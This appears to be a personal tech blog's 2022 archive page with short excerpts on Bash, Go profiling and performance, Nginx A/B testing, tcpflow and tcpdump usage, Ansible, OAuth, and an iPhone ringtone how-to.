Determines whether users are who they claim to be	Determines what users can and cannot access
Challenges the user to validate credentials (for example, through passwords, answers to security questions, or facial recognition)	Verifies whether access is allowed through policies and rules
Usually done before authorization	Usually done after successful authentication
Generally, transmits info through an ID Token	Generally, transmits info through an Access Token
Generally governed by the OpenID Connect (OIDC) protocol	Generally governed by the OAuth 2.0 framework
Example: Employees in a company are required to authenticate through the network before accessing their company email	Example: After an employee successfully authenticates, the system determines what information the employees are allowed to access

OAuth 2

Client Credentials Grant

这种模式是最简单的，其实就是客户端告诉服务端自己是哪个客户端，服务器就将 access_token 下发

Bash Bitwise Operators

Mon, 04 Jul 2022 15:20:39 +0800

Bash Bitwise Operators

Bash’s Tools for Base Conversion

Bash’s arithmetic expansion allows us to write numbers in any base by prefixing the numeric digits of the base followed by the hash symbol.

$ echo $((2#1001))
9

bc allows us to convert effortlessly between bases, using the parameters ibase (for the input base) and obase (for the output base). So, let’s convert the decimal number 9 to base 2

$ echo "ibase=10;obase=2;9" | bc
1001

Simple A/B Testing with Nginx split_clients

Mon, 04 Jul 2022 14:36:23 +0800

Simple A/B Testing with Nginx split_clients

ngx_http_split_clients_module

Configure

For example, suppose we want 20% of users to be redirected to https://example.com/, 30% to https://example.org/, and the rest to https://example.edu/.

split_clients "${remote_addr}AAA" $variant {
 20% https://example.com/;
 30% https://example.org/;
 * https://example.edu/;
}

server {
 listen 80;
 listen [::]:80;
 server_name _;

 return 302 ${variant};
}

In the example above, the visitor’s IP address plus the string AAA is hashed with MurmurHash2 into a number. If the number falls in the first 20%, $variant is https://example.com/. If it falls in the middle 30%, $variant is https://example.org/. Otherwise it is https://example.edu/.

Monitoring HTTP Requests on a Network Interface in Real Time

Thu, 23 Jun 2022 16:48:42 +0800

Monitoring HTTP Requests on a Network Interface in Real Time

tcpflow

apt/dnf install tcpflow

$ sudo tcpflow -p -c -i wlp0s20f3 port 80 | grep -oE '(GET|POST) .* HTTP/1.[01]|Host: .*'
reportfilename: ./report.xml
tcpflow: listening on wlp0s20f3
GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1

GET /mirrors.txt HTTP/1.1

-p disables promiscuous mode
-c means only print the output to the console and don’t create files
-i specifies the network interface grep receives the output of tcpflow
-o means show only the matching parts of the lines that match the pattern
-E means the pattern is an extended regular expression (ERE)

httpry

https://github.com/jbittel/httpry.git

Go pprof in Practice

Wed, 22 Jun 2022 15:29:02 +0800

package main

import (
 // omitted
 _ "net/http/pprof" // auto-register handlers to the HTTP server for profiling via HTTP
 // omitted
)

func main() {
 // omitted

 runtime.GOMAXPROCS(1) // limit CPU usage to avoid overload
 runtime.SetMutexProfileFraction(1) // enable lock contention profiling
 runtime.SetBlockProfileRate(1) // enable blocking operation profiling

 go func() {
 // start an HTTP server; pprof handlers have already been registered
 // /debug/pprof/
 if err := http.ListenAndServe(":6060", nil); err != nil {
 log.Fatal(err)
 }
 os.Exit(0)
 }()

 // omitted
}

http://localhost:6060/debug/pprof/

Type	Description	Notes
allocs	Samples of memory allocations	Can open in a browser, but readability is low
blocks	Samples of blocking operations	Can open in a browser, but readability is low
cmdline	Show program startup command/args	Can open in a browser; shows ./go-pprof-practice
goroutine	Stacks of all current goroutines	Can open in a browser, but readability is low
heap	Samples of heap memory usage	Can open in a browser, but readability is low
mutex	Samples of lock contention	Can open in a browser, but readability is low
profile	Samples of CPU usage	Opening in a browser downloads a file
threadcreate	Samples of system thread creation	Can open in a browser, but readability is low
trace	Program execution traces	Opening in a browser downloads a file; not covered here, see Go trace

Investigate high CPU usage

Parse Command Line Arguments in Bash

Tue, 07 Jun 2022 14:48:47 +0800

Parse Command Line Arguments in Bash

getopts

getopts optstring opt [arg ...]

#!/bin/bash

while getopts 'abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 ?|h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(($OPTIND -1))"

optstring represents the supported options. The option expects an argument if there is a colon (:) after it. For instance, if option c expects an argument, then it would be represented as c: in the optstring
When an option has an associated argument, then getopts stores the argument as a string in the OPTARG shell variable. For instance, the argument passed to option c would be stored in the OPTARG variable.
opt contains the parsed option.

#!/bin/bash

while getopts ':abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 0
 ;;

 :)
 echo -e "option requires an argument.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;

 ?)
 echo -e "Invalid command option.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(($OPTIND -1))"

Note that we’ve updated optstring as well. Now it starts with the colon(:) character, which suppresses the default error message.
The getopts function disables error reporting when the OPTERR variable is set to zero.

Parsing Long Command-Line Options With getopt

#!/bin/bash

VALID_ARGS=$(getopt -o abg:d: --long alpha,beta,gamma:,delta: -- "$@")
if [[ $? -ne 0 ]]; then
 exit 1;
fi

eval set -- "$VALID_ARGS"
while [ : ]; do
 case "$1" in
 -a | --alpha)
 echo "Processing 'alpha' option"
 shift
 ;;
 -b | --beta)
 echo "Processing 'beta' option"
 shift
 ;;
 -g | --gamma)
 echo "Processing 'gamma' option. Input argument is '$2'"
 shift 2
 ;;
 -d | --delta)
 echo "Processing 'delta' option. Input argument is '$2'"
 shift 2
 ;;
 --) shift;
 break
 ;;
 esac
done

-o option represents the short command-line options
--long option represents the long command-line options

Go code refactoring : the 23x performance hunt

Tue, 07 Jun 2022 13:42:07 +0800

Go code refactoring : the 23x performance hunt

$ go test -bench=. -cpuprofile cpu.prof
$ go tool pprof -svg cpu.prof > cpu.svg

$ go test -bench=. -trace trace.out
$ go tool trace trace.out

Dockertest: A Fast Way to Set Up Integration Test Environments

Thu, 12 May 2022 16:43:31 +0800

Tcpdump Usage Summary

Thu, 05 May 2022 13:39:10 +0800

Tcpdump Usage Summary

Command usage

tcpdump uses the command line. The command format is:

tcpdump [ -AdDeflLnNOpqRStuUvxX ] [ -c count ]
 [ -C file_size ] [ -F file ]
 [ -i interface ] [ -m module ] [ -M secret ]
 [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ]
 [ -W filecount ]
 [ -E spi@ipaddr algo:secret, ... ]
 [ -y datalinktype ] [ -Z user ]
 [ expression ]

Simple option notes for tcpdump

-E spi@ipaddr algo:secret , ... can decrypt IPsec ESP packets using spi@ipaddr algo:secret. The secret is the ESP key, expressed as an ASCII string. If it starts with 0x, the key is read as hex. In addition to the syntax above (spi@ipaddr algo:secret), you can append a syntax input filename for tcpdump to use (replace … in spi@ipaddr algo:secret, ... with a syntax filename). This file is opened when the first ESP packet arrives, so it is best to drop some privileges at that time (to reduce risk if the file is malicious).
-T type forces tcpdump to analyze packets according to the protocol structure specified by type. Known type values include:
- aodv (Ad-hoc On-demand Distance Vector protocol, used in Ad hoc peer-to-peer networks)
- cnfp (Cisco NetFlow protocol)
- rpc (Remote Procedure Call)
- rtp (Real-Time Applications protocol)
- rtcp (Real-Time Applications control protocol)
- snmp (Simple Network Management Protocol)
- tftp (Trivial File Transfer Protocol)
- vat (Visual Audio Tool, an application-layer protocol used for video conferencing on the internet)
- wb (distributed White Board, an application-layer protocol for online meetings)

Practical command examples

Capture communication between host 210.27.48.1 and host 210.27.48.2 or 210.27.48.3

Go High-Performance Programming Handbook (Long Read)

Fri, 22 Apr 2022 18:01:43 +0800

Go High-Performance Programming Handbook (Long Read)

Common data structures

Reflection is nice, but don’t overuse it

Prefer strconv over fmt
A small amount of repetition is not worse than reflection
Use binary.Read and binary.Write with caution
- binary.Read and binary.Write use reflection and are slow. If you need these two functions, implement the required logic manually instead of using them directly.

Avoid repeated conversions from string to byte slice

Specify container (slice/map) capacity

How to Make an iPhone Ringtone: Turn an MP3 into a Ringtone or Alarm

Sun, 10 Apr 2022 20:01:37 +0800

Step 1: Prepare the MP3 you want to use as an iPhone ringtone

First, prepare the music you want to use as a ringtone. MP3 is recommended. Save it in the Files app.

Step 2: Make an iPhone ringtone with GarageBand

Next, open the built-in GarageBand app on iPhone (re-download it if you deleted it), tap “Create Song”, and choose “Recorder”.

How to Choose a Go File Reading Approach

Tue, 29 Mar 2022 16:15:34 +0800

How to Choose a Go File Reading Approach

Go provides one-shot methods for reading file content: os.ReadFile and ioutil.ReadFile. Starting from Go 1.16, ioutil.ReadFile is equivalent to os.ReadFile.

The pros and cons of loading a file in one shot are obvious: it reduces IO operations, but it loads the entire file into memory. For large files, this risks running out of memory.

Read line by line

In Go, the bufio.Reader type provides ReadLine(), but in practice we more often use ReadBytes(’\n’) or ReadString(’\n’).

Convert a List to a List of Dicts

Wed, 09 Mar 2022 11:26:23 +0800

Convert a List to a List of Dicts

list

my_users:
 - aaa
 - bbb
 - ccc

dict

my_users:
 - Name: aaa
 - Name: bbb
 - Name: ccc

playbook

- name: Transform data
 vars:
 orig_users:
 - aaa
 - bbb
 - ccc
 my_users: []
 set_fact:
 my_users: "{{ my_users + [{} | combine({'Name': item})] }}"
 loop: "{{ orig_users }}"

Explanation:

Use the combine filter to build a dict
Use loop to iterate orig_users
Use my_users + [{} | combine({‘Name’: item})] to append to the list```

Misspelling, missing collection, or incorrect module path for fortios_system_config_backup_restore

Thu, 06 Jan 2022 13:40:40 +0800

Misspelling, missing collection, or incorrect module path for fortios_system_config_backup_restore

issue

Hi,

I’m trying to retrieve the configuration from a Fortigate using the module fortios_system_config_backup_restore and basing on your playbook example.

I have ansible 2.10.6.

When I use the collection fortinet.fortios:1.1.8, I got the following error: missing 1 required positional argument: 'mod'

The full traceback is:
Traceback (most recent call last):
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 102, in <module>
 _ansiballz_main()
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 94, in _ansiballz_main
 invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)
 File "/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py", line 40, in invoke_module
 runpy.run_module(mod_name='ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore', init_globals=None, run_name='__main__', alter_sys=True)
 File "/usr/lib/python3.8/runpy.py", line 207, in run_module
 return _run_module_code(code, init_globals, run_name, mod_spec)
 File "/usr/lib/python3.8/runpy.py", line 97, in _run_module_code
 _run_code(code, mod_globals, init_globals,
 File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
 exec(code, run_globals)
 File "/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py", line 472, in <module>
 File "/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py", line 436, in main
TypeError: __init__() missing 1 required positional argument: 'mod'
fatal: [fortigate-01]: FAILED! => {
 "changed": false,
 "module_stderr": "Traceback (most recent call last):\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 102, in <module>\n _ansiballz_main()\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 94, in _ansiballz_main\n invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n File \"/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\", line 40, in invoke_module\n runpy.run_module(mod_name='ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore', init_globals=None, run_name='__main__', alter_sys=True)\n File \"/usr/lib/python3.8/runpy.py\", line 207, in run_module\n return _run_module_code(code, init_globals, run_name, mod_spec)\n File \"/usr/lib/python3.8/runpy.py\", line 97, in _run_module_code\n _run_code(code, mod_globals, init_globals,\n File \"/usr/lib/python3.8/runpy.py\", line 87, in _run_code\n exec(code, run_globals)\n File \"/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\", line 472, in <module>\n File \"/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\", line 436, in main\nTypeError: __init__() missing 1 required positional argument: 'mod'\n",
 "module_stdout": "",
 "msg": "MODULE FAILURE\nSee stdout/stderr for the exact error",
 "rc": 1
}

Using the recent pre release fortinet.fortios:2.0.0 , I got:

Struct Tricks Every Gopher Should Know

Mon, 03 Jan 2022 15:08:31 +0800

Struct Tricks Every Gopher Should Know

NoCopy

$ go vet aaa.go
# command-line-arguments
./aaa.go:7:14: test passes lock by value: sync.WaitGroup contains sync.noCopy
./aaa.go:15:10: call of test copies lock value: sync.WaitGroup contains sync.noCopy

type noCopy struct{}

type WaitGroup struct {
 noCopy noCopy

 // 64-bit value: high 32 bits are counter, low 32 bits are waiter count.
 // 64-bit atomic operations require 64-bit alignment, but 32-bit
 // compilers only guarantee that 64-bit fields are 32-bit aligned.
 // For this reason on 32 bit architectures we need to check in state()
 // if state1 is aligned or not, and dynamically "swap" the field order if
 // needed.
 state1 uint64
 state2 uint32
}

noCopy is very simple: an empty struct. It has zero size and takes no space (as long as it is not the last field of a struct; otherwise there is still an 8-byte space overhead).

2022 on Ricky

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The “Magic Code”: `\033[0K\r`

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